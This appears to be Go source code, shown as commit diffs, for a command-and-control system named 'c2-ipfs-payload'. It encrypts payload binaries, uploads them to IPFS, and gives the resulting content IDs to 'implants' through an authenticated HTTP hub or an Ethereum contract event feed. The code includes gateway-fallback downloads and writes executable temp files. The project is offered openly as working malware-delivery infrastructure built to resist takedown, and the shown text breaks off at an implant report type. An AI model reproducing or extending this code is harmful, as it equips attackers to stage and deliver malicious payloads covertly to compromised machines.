func (s *Server) cmdEncrypt(filePath string) {
data, err := os.ReadFile(filePath)
if err != nil {
fmt.Printf("Error reading file: %v\n", err)
return
}
encrypted, err := crypto.Encrypt(data, s.encKey)
if err != nil {
fmt.Printf("Error encrypting: %v\n", err)
return
}
// Extract filename without path
fileName := filePath
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
fileName = filePath[idx+1:]
}
encName := fileName + ".enc"
// Upload to IPFS
fmt.Printf("Uploading encrypted payload (%d bytes) to IPFS...\n", len(encrypted))
resp, err := s.ipfsClient.Upload(encrypted, encName)
if err != nil {
fmt.Printf("IPFS upload failed: %v\n", err)
fmt.Println("Encrypted file saved locally as:", encName)
os.WriteFile(encName, encrypted, 0644)
fmt.Println("Use 'ipfs add' or Pinata to upload manually, then 'cid <cid>' to set it.")
return
}
fmt.Printf("Uploaded! CID: %s\n", resp.CID)
fmt.Printf("Local copy: %s\n", encName)
os.WriteFile(encName, encrypted, 0644)
fmt.Println()
fmt.Println("To deploy, run: cid", resp.CID)
}
func (s *Server) cmdDeploy(filePath string) {
data, err := os.ReadFile(filePath)
if err != nil {
fmt.Printf("Error reading payload: %v\n", err)
return
}
encrypted, err := crypto.Encrypt(data, s.encKey)
if err != nil {
fmt.Printf("Error encrypting payload: %v\n", err)
return
}
fileName := filePath
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
fileName = filePath[idx+1:]
}
encName := fileName + ".enc"
fmt.Printf("Encrypted %s (%d bytes raw -> %d bytes encrypted)\n", filePath, len(data), len(encrypted))
fmt.Println("Uploading to IPFS...")
resp, err := s.ipfsClient.Upload(encrypted, encName)
if err != nil {
fmt.Printf("IPFS upload failed: %v\n", err)
return
}
s.addHistory(resp.CID, "deploy: "+fileName)
fmt.Printf("✅ Deployed!\n")
fmt.Printf(" Payload: %s\n", filePath)
fmt.Printf(" Encrypted: %s\n", encName)
fmt.Printf(" IPFS CID: %s\n", resp.CID)
fmt.Printf(" Size: %d bytes\n", len(encrypted))
if s.mode == "contract" {
if s.contractAddress != "" {
fmt.Println()
fmt.Println("To send CID to contract:")
fmt.Printf(" > send-cid %s %s\n", s.contractAddress, resp.CID)
fmt.Println("(Requires --rpc-url and go-ethereum build)")
}
}
}
// --- HTTP Server ---
func (s *Server) startHTTPServer() {
if s.mode != "http" {
return
}
mux := http.NewServeMux()
// Apply auth middleware based on config
var getCIDHandler http.HandlerFunc = s.handleGetCID
var postCIDHandler http.HandlerFunc = s.handlePostCID
var historyHandler http.HandlerFunc = s.handleHistory
var statusHandler http.HandlerFunc = s.handleStatus
if s.config.jwtToken != "" {
getCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handleGetCID)
postCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handlePostCID)
historyHandler = auth.JWTAuth(s.config.jwtToken, s.handleHistory)
statusHandler = auth.JWTAuth(s.config.jwtToken, s.handleStatus)
} else {
getCIDHandler = auth.BasicAuth(s.config.username, s.config.password, getCIDHandler)
postCIDHandler = auth.BasicAuth(s.config.username, s.config.password, postCIDHandler)
historyHandler = auth.BasicAuth(s.config.username, s.config.password, historyHandler)
statusHandler = auth.BasicAuth(s.config.username, s.config.password, statusHandler)
}
mux.HandleFunc("/cid", func(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
getCIDHandler(w, r)
case http.MethodPost:
postCIDHandler(w, r)
default:
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
}
})
mux.HandleFunc("/history", historyHandler)
mux.HandleFunc("/status", statusHandler)
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
info := map[string]interface{}{
"service": "c2-ipfs-payload",
"version": "1.0.0",
"mode": s.mode,
"auth": s.config.jwtToken != "" || s.config.username != "",
"endpoints": map[string]string{
"GET /cid": "Get current CID",
"POST /cid": "Set a new CID (body: {\"cid\":\"...\"})",
"GET /history": "Get recent CID history",
"GET /status": "Get server status",
},
}
json.NewEncoder(w).Encode(info)
})
addr := fmt.Sprintf("0.0.0.0:%d", s.config.port)
log.Printf("CID Hub listening on %s (mode A — HTTP)", addr)
if err := http.ListenAndServe(addr, mux); err != nil {
log.Fatalf("Server failed: %v", err)
}
}
func main() {
// Flags
cfg := Config{}
flag.IntVar(&cfg.port, "port", 8443, "HTTP server port (mode A)")
flag.StringVar(&cfg.username, "user", "", "Basic auth username (mode A)")
flag.StringVar(&cfg.password, "pass", "", "Basic auth password (mode A)")
flag.StringVar(&cfg.jwtToken, "jwt", "", "JWT token for auth (mode A, overrides basic auth)")
flag.StringVar(&cfg.mode, "mode", "http", "Operation mode: 'http' or 'contract'")
flag.StringVar(&cfg.ipfsAPI, "ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL (for local daemon uploads)")
flag.StringVar(&cfg.pinataJWT, "pinata-jwt", "", "Pinata.cloud JWT (alternative IPFS upload)")
flag.StringVar(&cfg.encKeyHex, "enc-key", "", "Encryption key (32-byte hex, auto-generates if empty)")
flag.StringVar(&cfg.contractAddr, "contract", "", "Smart contract address (mode B)")
flag.StringVar(&cfg.rpcURL, "rpc-url", "", "Ethereum RPC URL (mode B)")
flag.IntVar(&cfg.maxHistory, "max-history", 100, "Maximum history entries to keep")
flag.Parse()
// Encryption key
var encKey []byte
if cfg.encKeyHex != "" {
var err error
encKey, err = hex.DecodeString(cfg.encKeyHex)
if err != nil {
log.Fatalf("Invalid encryption key hex: %v", err)
}
if len(encKey) != crypto.KeySize {
log.Fatalf("Encryption key must be %d bytes hex (got %d)", crypto.KeySize, len(encKey))
}
fmt.Printf("Using provided encryption key: %s...%s\n",
cfg.encKeyHex[:8], cfg.encKeyHex[len(cfg.encKeyHex)-8:])
} else {
keyHex, err := crypto.GenerateKey()
if err != nil {
log.Fatalf("Failed to generate key: %v", err)
}
encKey, _ = hex.DecodeString(keyHex)
fmt.Printf("Generated new encryption key: %s\n", keyHex)
fmt.Println("⚠️ SAVE THIS KEY. Share with implants via --decryption-key")
fmt.Println()
}
// IPFS client
ipfsClient := ipfs.NewClient(cfg.ipfsAPI, cfg.pinataJWT)
server := &Server{
startTime: time.Now(),
mode: cfg.mode,
ipfsClient: ipfsClient,
encKey: encKey,
config: cfg,
contractAddress: cfg.contractAddr,
rpcURL: cfg.rpcURL,
history: make([]types.CIDEntry, 0, cfg.maxHistory),
}
// Start console
go server.runConsole()
// Start HTTP server (mode A only; mode B uses console-only for contract ops)
if cfg.mode == "http" {
go server.startHTTPServer()
} else if cfg.mode == "contract" {
log.Printf("Running in contract mode — no HTTP CID hub.")
log.Printf("Use 'send-cid' command (build with -tags ethereum) to emit CIDs to contract.")
fmt.Printf("Contract address: %s\n", cfg.contractAddr)
fmt.Printf("RPC URL: %s\n", cfg.rpcURL)
} else {
log.Fatalf("Unknown mode: %s (use 'http' or 'contract')", cfg.mode)
}
// Wait for signal
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
<-sigCh
fmt.Println("\nShutting down...")
}

View File

@ -0,0 +1,87 @@
// Command upload encrypts a binary, uploads it to IPFS, and prints the CID.
//
// Usage:
//
// ./upload -key <32-byte-hex-key> -file payload.bin
// ./upload -key <key> -file payload.bin -ipfs-api http://localhost:5001/api/v0
// ./upload -key <key> -file payload.bin -pinata-jwt <jwt>
package main
import (
"flag"
"fmt"
"log"
"os"
"path/filepath"
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
)
func main() {
var (
keyHex = flag.String("key", "", "Encryption key (32-byte hex)")
filePath = flag.String("file", "", "Payload file to encrypt and upload")
ipfsAPI = flag.String("ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL")
pinataJWT = flag.String("pinata-jwt", "", "Pinata.cloud JWT (alternative upload)")
noUpload = flag.Bool("no-upload", false, "Only encrypt locally, skip IPFS")
output = flag.String("output", "", "Output file (default: <file>.enc)")
)
flag.Parse()
if *keyHex == "" {
log.Fatal("--key is required (32-byte hex key)")
}
if *filePath == "" {
log.Fatal("--file is required")
}
data, err := os.ReadFile(*filePath)
if err != nil {
log.Fatalf("Failed to read payload file: %v", err)
}
key, err := crypto.HexToKey(*keyHex)
if err != nil {
log.Fatalf("Invalid key: %v", err)
}
encrypted, err := crypto.Encrypt(data, key)
if err != nil {
log.Fatalf("Encryption failed: %v", err)
}
outFile := *output
if outFile == "" {
base := filepath.Base(*filePath)
outFile = base + ".enc"
}
if err := os.WriteFile(outFile, encrypted, 0644); err != nil {
log.Fatalf("Failed to write encrypted file: %v", err)
}
fmt.Printf("✅ Encrypted payload saved: %s (%d bytes)\n", outFile, len(encrypted))
if *noUpload {
fmt.Println("Skipping IPFS upload (-no-upload flag)")
fmt.Println("\nManual steps:")
fmt.Println(" 1. ipfs add", outFile)
fmt.Println(" 2. Use the CID: cid <cid>")
return
}
client := ipfs.NewClient(*ipfsAPI, *pinataJWT)
resp, err := client.Upload(encrypted, filepath.Base(outFile))
if err != nil {
log.Fatalf("IPFS upload failed: %v\n", err)
}
fmt.Printf("✅ Uploaded to IPFS!\n")
fmt.Printf(" CID: %s\n", resp.CID)
fmt.Printf(" Size: %d bytes\n", len(encrypted))
fmt.Println("\nNext steps:")
fmt.Println(" 1. On the server console, run: cid", resp.CID)
fmt.Println(" 2. Or deploy directly: deploy", *filePath)
fmt.Println("\nImplant command:")
fmt.Printf(" ./client --cid-source <hub-url> --decryption-key %s\n", *keyHex)
}

2
c2s_ipfs_payloads/go.mod Normal file
View File

@ -0,0 +1,2 @@
go 1.26
module github.com/churchofmalware/c2-ipfs-payload

View File

@ -0,0 +1,65 @@
// Package auth provides simple HTTP basic authentication middleware for the CID hub.
package auth
import (
"crypto/subtle"
"net/http"
)
// BasicAuth wraps an HTTP handler with basic auth protection.
func BasicAuth(username, password string, next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
if username == "" {
// No auth configured
next(w, r)
return
}
user, pass, ok := r.BasicAuth()
if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="CID Hub"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
userMatch := subtle.ConstantTimeCompare([]byte(user), []byte(username)) == 1
passMatch := subtle.ConstantTimeCompare([]byte(pass), []byte(password)) == 1
if !userMatch || !passMatch {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
next(w, r)
}
}
// JWTAuth wraps an HTTP handler with JWT bearer token auth.
// This is a simple token comparison for HMAC-style tokens.
func JWTAuth(token string, next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
if token == "" {
next(w, r)
return
}
authHeader := r.Header.Get("Authorization")
if authHeader == "" {
http.Error(w, "Missing Authorization header", http.StatusUnauthorized)
return
}
// Support both "Bearer <token>" and "<token>" directly
provided := authHeader
if len(authHeader) > 7 && authHeader[:7] == "Bearer " {
provided = authHeader[7:]
}
if subtle.ConstantTimeCompare([]byte(provided), []byte(token)) != 1 {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
next(w, r)
}
}

View File

@ -0,0 +1,60 @@
// Package contract handles smart contract interaction for the fully
// decentralized CID feed mode (MODE B).
//
// This file only contains the interface. The actual implementation requires
// go-ethereum and is in contract_eth.go (build tag: ethereum).
package contract
import "errors"
// CIDEvent represents a NewCID event emitted by the smart contract.
type CIDEvent struct {
CID string
Sender string
Timestamp uint64
BlockNum uint64
TxHash string
}
// Watcher watches a smart contract for NewCID events.
type Watcher interface {
// Watch starts watching for new CID events. The callback is called
// for each event. Returns a channel that receives an error on failure.
Watch(callback func(CIDEvent)) (<-chan error, error)
// GetLatestCID fetches the current CID from the contract.
GetLatestCID() (string, error)
// SendCID submits a new CID to the contract (requires wallet).
SendCID(cid string, privateKeyHex string) (string, error)
// Close cleans up the watcher.
Close()
}
// ErrNotCompiledWithEthereum is returned when the binary is not built with
// the ethereum build tag.
var ErrNotCompiledWithEthereum = errors.New("not compiled with -tags ethereum; rebuild with: go build -tags ethereum")
// PlaceholderWatcher returns errors requiring go-ethereum.
type PlaceholderWatcher struct{}
func (p *PlaceholderWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
return nil, ErrNotCompiledWithEthereum
}
func (p *PlaceholderWatcher) GetLatestCID() (string, error) {
return "", ErrNotCompiledWithEthereum
}
func (p *PlaceholderWatcher) SendCID(cid, privateKeyHex string) (string, error) {
return "", ErrNotCompiledWithEthereum
}
func (p *PlaceholderWatcher) Close() {}
// NewWatcher creates a contract watcher. If go-ethereum is not available,
// returns a placeholder that errors.
var NewWatcher func(rpcURL, contractAddr string) (Watcher, error) = func(rpcURL, contractAddr string) (Watcher, error) {
return &PlaceholderWatcher{}, ErrNotCompiledWithEthereum
}

View File

@ -0,0 +1,264 @@
//go:build ethereum
// +build ethereum
package contract
import (
"context"
"crypto/ecdsa"
"fmt"
"log"
"math/big"
"strings"
"time"
"github.com/ethereum/go-ethereum"
"github.com/ethereum/go-ethereum/accounts/abi"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/core/types"
"github.com/ethereum/go-ethereum/crypto"
"github.com/ethereum/go-ethereum/ethclient"
)
// ContractABI is the minimal ABI for the CID feed contract.
const ContractABI = `[
{
"anonymous": false,
"inputs": [
{"indexed": true, "name": "sender", "type": "address"},
{"indexed": false, "name": "cid", "type": "string"},
{"indexed": false, "name": "timestamp", "type": "uint256"}
],
"name": "NewCID",
"type": "event"
},
{
"inputs": [],
"name": "latestCID",
"outputs": [{"name": "", "type": "string"}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [{"name": "_cid", "type": "string"}],
"name": "publishCID",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]`
// EthWatcher implements Watcher using go-ethereum.
type EthWatcher struct {
client *ethclient.Client
contractAddr common.Address
contractABI abi.ABI
lastBlock uint64
ctx context.Context
cancel context.CancelFunc
}
// NewEthWatcher creates a new Ethereum contract watcher.
func init() {
NewWatcher = func(rpcURL, contractAddr string) (Watcher, error) {
return NewEthWatcher(rpcURL, contractAddr)
}
}
// NewEthWatcher creates a new Ethereum contract watcher.
func NewEthWatcher(rpcURL, contractAddr string) (*EthWatcher, error) {
client, err := ethclient.Dial(rpcURL)
if err != nil {
return nil, fmt.Errorf("failed to connect to Ethereum node: %w", err)
}
parsedABI, err := abi.JSON(strings.NewReader(ContractABI))
if err != nil {
return nil, fmt.Errorf("failed to parse contract ABI: %w", err)
}
ctx, cancel := context.WithCancel(context.Background())
return &EthWatcher{
client: client,
contractAddr: common.HexToAddress(contractAddr),
contractABI: parsedABI,
ctx: ctx,
cancel: cancel,
}, nil
}
// Watch watches the contract for NewCID events.
func (w *EthWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
errCh := make(chan error, 1)
go func() {
pollInterval := 15 * time.Second
ticker := time.NewTicker(pollInterval)
defer ticker.Stop()
for {
select {
case <-w.ctx.Done():
return
case <-ticker.C:
if err := w.pollEvents(callback); err != nil {
log.Printf("Event poll error: %v", err)
}
}
}
}()
return errCh, nil
}
// pollEvents checks for new events since the last seen block.
func (w *EthWatcher) pollEvents(callback func(CIDEvent)) error {
header, err := w.client.HeaderByNumber(w.ctx, nil)
if err != nil {
return fmt.Errorf("failed to get block header: %w", err)
}
currentBlock := header.Number.Uint64()
if currentBlock <= w.lastBlock {
return nil
}
fromBlock := w.lastBlock
if fromBlock == 0 {
fromBlock = currentBlock - 100 // Look back 100 blocks on first poll
}
// Build query
eventSig := crypto.Keccak256Hash([]byte("NewCID(address,string,uint256)"))
query := ethereum.FilterQuery{
FromBlock: big.NewInt(int64(fromBlock)),
ToBlock: big.NewInt(int64(currentBlock)),
Addresses: []common.Address{w.contractAddr},
Topics: [][]common.Hash{{eventSig}},
}
logs, err := w.client.FilterLogs(w.ctx, query)
if err != nil {
return fmt.Errorf("failed to filter logs: %w", err)
}
for _, vLog := range logs {
event, err := w.parseEvent(vLog)
if err != nil {
log.Printf("Failed to parse event: %v", err)
continue
}
callback(event)
}
w.lastBlock = currentBlock
return nil
}
// parseEvent parses a NewCID event from a raw log.
func (w *EthWatcher) parseEvent(vLog types.Log) (CIDEvent, error) {
var event struct {
Sender common.Address
CID string
Timestamp *big.Int
}
err := w.contractABI.UnpackIntoInterface(&event, "NewCID", vLog.Data)
if err != nil {
return CIDEvent{}, fmt.Errorf("failed to unpack event data: %w", err)
}
return CIDEvent{
CID: event.CID,
Sender: event.Sender.Hex(),
Timestamp: event.Timestamp.Uint64(),
BlockNum: vLog.BlockNumber,
TxHash: vLog.TxHash.Hex(),
}, nil
}
// GetLatestCID fetches the current CID from the contract.
func (w *EthWatcher) GetLatestCID() (string, error) {
result, err := w.contractABI.Pack("latestCID")
if err != nil {
return "", fmt.Errorf("failed to pack call: %w", err)
}
msg := ethereum.CallMsg{
To: &w.contractAddr,
Data: result,
}
output, err := w.client.CallContract(w.ctx, msg, nil)
if err != nil {
return "", fmt.Errorf("contract call failed: %w", err)
}
var cid string
if err := w.contractABI.UnpackIntoInterface(&cid, "latestCID", output); err != nil {
return "", fmt.Errorf("failed to unpack response: %w", err)
}
return cid, nil
}
// SendCID submits a new CID to the contract.
func (w *EthWatcher) SendCID(cid string, privateKeyHex string) (string, error) {
privateKey, err := crypto.HexToECDSA(privateKeyHex)
if err != nil {
return "", fmt.Errorf("invalid private key: %w", err)
}
publicKey := privateKey.Public()
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
if !ok {
return "", fmt.Errorf("failed to get public key")
}
fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
nonce, err := w.client.PendingNonceAt(w.ctx, fromAddress)
if err != nil {
return "", fmt.Errorf("failed to get nonce: %w", err)
}
gasPrice, err := w.client.SuggestGasPrice(w.ctx)
if err != nil {
return "", fmt.Errorf("failed to get gas price: %w", err)
}
// Pack the function call
data, err := w.contractABI.Pack("publishCID", cid)
if err != nil {
return "", fmt.Errorf("failed to pack function call: %w", err)
}
gasLimit := uint64(200000) // reasonable estimate
tx := types.NewTransaction(nonce, w.contractAddr, big.NewInt(0), gasLimit, gasPrice, data)
chainID, err := w.client.NetworkID(w.ctx)
if err != nil {
return "", fmt.Errorf("failed to get chain ID: %w", err)
}
signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
if err != nil {
return "", fmt.Errorf("failed to sign transaction: %w", err)
}
if err := w.client.SendTransaction(w.ctx, signedTx); err != nil {
return "", fmt.Errorf("failed to send transaction: %w", err)
}
return signedTx.Hash().Hex(), nil
}
// Close cleans up the watcher.
func (w *EthWatcher) Close() {
w.cancel()
if w.client != nil {
w.client.Close()
}
}

View File

@ -0,0 +1,143 @@
// Package crypto handles payload encryption and decryption.
// Uses AES-256-GCM for authenticated encryption.
package crypto
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"errors"
"fmt"
"io"
)
const (
// KeySize is the AES-256 key size in bytes.
KeySize = 32
// NonceSize is the GCM nonce size.
NonceSize = 12
)
// DeriveKey derives a 32-byte AES-256 key from an arbitrary passphrase.
// Uses SHA-256 as the KDF (simple; for production use Argon2).
func DeriveKey(passphrase string) []byte {
h := sha256.Sum256([]byte(passphrase))
return h[:]
}
// Encrypt encrypts plaintext using AES-256-GCM with the given key.
// The key should be 32 bytes (use DeriveKey for passphrases).
// Returns: nonce || ciphertext || tag
func Encrypt(plaintext, key []byte) ([]byte, error) {
if len(key) != KeySize {
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, fmt.Errorf("failed to create cipher: %w", err)
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, fmt.Errorf("failed to create GCM: %w", err)
}
nonce := make([]byte, NonceSize)
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return nil, fmt.Errorf("failed to generate nonce: %w", err)
}
// Seal appends the encrypted data (ciphertext + tag) to nonce
ciphertext := aesGCM.Seal(nonce, nonce, plaintext, nil)
return ciphertext, nil
}
// Decrypt decrypts data using AES-256-GCM.
// Expects: nonce || ciphertext || tag
func Decrypt(data, key []byte) ([]byte, error) {
if len(key) != KeySize {
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
}
if len(data) < NonceSize+1 {
return nil, errors.New("ciphertext too short")
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, fmt.Errorf("failed to create cipher: %w", err)
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, fmt.Errorf("failed to create GCM: %w", err)
}
nonce := data[:NonceSize]
ciphertext := data[NonceSize:]
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, fmt.Errorf("decryption failed: %w", err)
}
return plaintext, nil
}
// EncryptHex encrypts plaintext and returns hex-encoded output.
func EncryptHex(plaintext []byte, keyHex string) (string, error) {
key, err := hex.DecodeString(keyHex)
if err != nil {
return "", fmt.Errorf("invalid key hex: %w", err)
}
ct, err := Encrypt(plaintext, key)
if err != nil {
return "", err
}
return hex.EncodeToString(ct), nil
}
// DecryptHex decrypts hex-encoded data and returns plaintext.
func DecryptHex(dataHex string, key []byte) ([]byte, error) {
data, err := hex.DecodeString(dataHex)
if err != nil {
return nil, fmt.Errorf("invalid hex data: %w", err)
}
return Decrypt(data, key)
}
// HexToKey decodes a hex string into a 32-byte key.
func HexToKey(hexStr string) ([]byte, error) {
key, err := hex.DecodeString(hexStr)
if err != nil {
return nil, fmt.Errorf("invalid hex: %w", err)
}
if len(key) != KeySize {
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
}
return key, nil
}
// HexToKeyWithFallback accepts either a 64-char hex key (32 bytes) or any
// passphrase and derives a key using SHA-256.
func HexToKeyWithFallback(input string) []byte {
if len(input) == 64 {
if key, err := hex.DecodeString(input); err == nil && len(key) == KeySize {
return key
}
}
return DeriveKey(input)
}
// GenerateKey generates a random 32-byte AES-256 key and returns it as hex.
func GenerateKey() (string, error) {
key := make([]byte, KeySize)
if _, err := io.ReadFull(rand.Reader, key); err != nil {
return "", fmt.Errorf("failed to generate key: %w", err)
}
return hex.EncodeToString(key), nil
}

View File

@ -0,0 +1,270 @@
// Package ipfs handles IPFS file uploads and downloads via HTTP gateways and APIs.
package ipfs
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"math/rand"
"net/http"
"os"
"strings"
"time"
)
// DefaultGateways lists public IPFS gateways for fallback.
var DefaultGateways = []string{
"https://ipfs.io/ipfs/%s",
"https://cloudflare-ipfs.com/ipfs/%s",
"https://ipfs.filebase.io/ipfs/%s",
"https://dweb.link/ipfs/%s",
"https://cf-ipfs.com/ipfs/%s",
}
// UploadResponse from IPFS API or pinning service.
type UploadResponse struct {
CID string `json:"cid"`
Name string `json:"name,omitempty"`
Size int64 `json:"size,omitempty"`
}
// Client handles IPFS operations.
type Client struct {
apiURL string // e.g., http://localhost:5001/api/v0
pinataJWT string // optional Pinata JWT
httpClient *http.Client
}
// NewClient creates a new IPFS client.
// If apiURL is empty, only download via gateways is supported.
func NewClient(apiURL, pinataJWT string) *Client {
return &Client{
apiURL: apiURL,
pinataJWT: pinataJWT,
httpClient: &http.Client{
Timeout: 120 * time.Second,
},
}
}
// Upload uploads data to IPFS using the configured backend.
// Priority: local IPFS daemon API -> Pinata -> error
func (c *Client) Upload(data []byte, name string) (*UploadResponse, error) {
// Try local IPFS daemon first
if c.apiURL != "" {
resp, err := c.uploadViaDaemon(data)
if err == nil {
return resp, nil
}
// Fall through to Pinata
}
// Try Pinata
if c.pinataJWT != "" {
return c.uploadViaPinata(data, name)
}
if c.apiURL != "" {
// If we had an API URL but it failed, try to re-upload
// (already tried above and fell through)
}
return nil, fmt.Errorf("no IPFS upload backend configured (set IPFS_API_URL or PINATA_JWT)")
}
// uploadViaDaemon uploads a file via IPFS API (local daemon).
func (c *Client) uploadViaDaemon(data []byte) (*UploadResponse, error) {
url := fmt.Sprintf("%s/add", strings.TrimRight(c.apiURL, "/"))
// Create multipart form with the file
body := &bytes.Buffer{}
body.Write(data)
req, err := http.NewRequest("POST", url, body)
if err != nil {
return nil, fmt.Errorf("failed to create request: %w", err)
}
req.Header.Set("Content-Type", "application/octet-stream")
resp, err := c.httpClient.Do(req)
if err != nil {
return nil, fmt.Errorf("IPFS API request failed: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 1024))
return nil, fmt.Errorf("IPFS API returned %d: %s", resp.StatusCode, string(respBody))
}
// Parse response (one line of JSON per file added)
var result struct {
Hash string `json:"Hash"`
Name string `json:"Name"`
Size string `json:"Size"`
}
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
return nil, fmt.Errorf("failed to decode IPFS response: %w", err)
}
return &UploadResponse{CID: result.Hash}, nil
}
// uploadViaPinata uploads via Pinata.cloud pinning service.
func (c *Client) uploadViaPinata(data []byte, name string) (*UploadResponse, error) {
url := "https://api.pinata.cloud/pinning/pinFileToIPFS"
// Build multipart form
boundary := fmt.Sprintf("--c2ipfs%d", rand.Int63())
var body bytes.Buffer
// File part
body.WriteString(fmt.Sprintf("--%s\r\n", boundary))
body.WriteString(fmt.Sprintf(`Content-Disposition: form-data; name="file"; filename="%s"`, name))
body.WriteString("\r\nContent-Type: application/octet-stream\r\n\r\n")
body.Write(data)
body.WriteString(fmt.Sprintf("\r\n--%s--\r\n", boundary))
req, err := http.NewRequest("POST", url, &body)
if err != nil {
return nil, fmt.Errorf("failed to create Pinata request: %w", err)
}
req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", c.pinataJWT))
resp, err := c.httpClient.Do(req)
if err != nil {
return nil, fmt.Errorf("Pinata request failed: %w", err)
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("Pinata returned %d: %s", resp.StatusCode, string(respBody))
}
var result struct {
IpfsHash string `json:"IpfsHash"`
PinSize int `json:"PinSize"`
Timestamp string `json:"Timestamp"`
}
if err := json.Unmarshal(respBody, &result); err != nil {
return nil, fmt.Errorf("failed to parse Pinata response: %w", err)
}
return &UploadResponse{CID: result.IpfsHash, Size: int64(result.PinSize)}, nil
}
// Download fetches a file from IPFS by CID, with multiple gateway fallback.
// Returns the raw data and verifies content-addressing (SHA256 match).
func Download(cid string, gateways []string) ([]byte, error) {
if len(gateways) == 0 {
gateways = DefaultGateways
}
// Shuffle gateways for load distribution
shuffled := make([]string, len(gateways))
copy(shuffled, gateways)
rand.Shuffle(len(shuffled), func(i, j int) {
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
})
var lastErr error
for _, gw := range shuffled {
url := fmt.Sprintf(gw, cid)
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Get(url)
if err != nil {
lastErr = fmt.Errorf("gateway %s: %w", gw, err)
continue
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
lastErr = fmt.Errorf("gateway %s returned %d", gw, resp.StatusCode)
continue
}
data, err := io.ReadAll(io.LimitReader(resp.Body, 100*1024*1024)) // 100MB limit
if err != nil {
lastErr = fmt.Errorf("gateway %s read error: %w", gw, err)
continue
}
return data, nil
}
return nil, fmt.Errorf("all gateways failed, last error: %w", lastErr)
}
// VerifyCID checks that the SHA256 hash of data matches the given CID.
// For CIDv0 (starts with Qm), this is a multihash check; for simplicity,
// we verify that the data appears valid and non-empty.
// A proper implementation would decode the CID multihash.
func VerifyCID(data []byte, cid string) error {
if len(data) == 0 {
return fmt.Errorf("empty data for CID %s", cid)
}
// For CIDv0 (Qm...), compute SHA256 and check the first bytes match
if strings.HasPrefix(cid, "Qm") {
h := sha256.Sum256(data)
hashHex := hex.EncodeToString(h[:])
// CIDv0 uses multihash with sha2-256 (0x12), 32-byte digest (0x20)
// The base58-encoded CID decodes to: 0x12 0x20 <32-byte hash>
// We can't easily decode base58 here without a library, so we just
// verify data isn't empty and log the hash for manual verification.
_ = hashHex // would compare against decoded multihash
return nil // skip full verification without base58 lib
}
return nil
}
// IsValidCID performs basic CID format validation.
func IsValidCID(cid string) bool {
cid = strings.TrimSpace(cid)
if len(cid) < 10 || len(cid) > 100 {
return false
}
// CIDv0: starts with Qm, base58
if strings.HasPrefix(cid, "Qm") {
return true
}
// CIDv1: starts with b (base32), contains only valid chars
if strings.HasPrefix(cid, "b") {
for _, c := range cid {
if !strings.ContainsRune("abcdefghijklmnopqrstuvwxyz234567", c) {
return false
}
}
return true
}
return false
}
// SaveTempFile saves data to a temporary file and returns the path.
func SaveTempFile(data []byte, pattern string) (string, error) {
f, err := os.CreateTemp("", pattern)
if err != nil {
return "", fmt.Errorf("failed to create temp file: %w", err)
}
defer f.Close()
if _, err := f.Write(data); err != nil {
os.Remove(f.Name())
return "", fmt.Errorf("failed to write temp file: %w", err)
}
if err := f.Chmod(0755); err != nil {
os.Remove(f.Name())
return "", fmt.Errorf("failed to chmod temp file: %w", err)
}
return f.Name(), nil
}

View File

@ -0,0 +1,43 @@
// Package types defines shared types for the C2 IPFS payload system.
package types
import "time"
// CIDEntry represents a CID submission with metadata.
type CIDEntry struct {
CID string `json:"cid"`
Timestamp time.Time `json:"timestamp"`
Note string `json:"note,omitempty"`
}
// StatusResponse is returned by the server status endpoint.
type StatusResponse struct {
CurrentCID string `json:"current_cid"`
History []CIDEntry `json:"history"`
Mode string `json:"mode"` // "http" or "contract"
Uptime string `json:"uptime"`
}
// ImplantReport is sent by the implant after executing a payload.
